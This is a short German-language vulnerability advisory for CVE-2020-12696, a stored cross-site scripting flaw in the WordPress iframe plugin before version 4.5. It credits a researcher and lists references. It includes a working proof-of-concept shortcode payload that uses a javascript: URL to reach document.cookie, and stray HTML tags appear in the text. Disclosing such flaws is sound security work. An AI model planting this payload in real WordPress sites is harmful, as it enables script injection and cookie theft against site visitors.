
Gespeichertes Cross-Site-Scripting - Iframe-Plugin - WordPress
██╗ ██╗███████╗███████╗
╚██╗██╔╝██╔════╝██╔════╝
╚███╔╝ ███████╗███████╗
██╔██╗ ╚════██║╚════██║
██╔╝ ██╗███████║███████║
╚═╝ ╚═╝╚══════╝╚══════╝
Iframe < 4.5 - Authentifiziertes gespeichertes Cross-Site-Scripting (XSS)
Das iframe-Plugin vor Version 4.5 bereinigt eine URL nicht.
Payload: </b>[iframe src="javascript:confirm(document.cookie)" width="100%" height="500"]
Version [Plugin]: </b>4.4
Getestet auf: </b>WordPress 5.2.4
Forscher:</b> Guilherme Rubert
Referenzen:
https://guilhermerubert.com/blog/cve-2020-12696/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12696
https://wordpress.org/plugins/iframe/#developers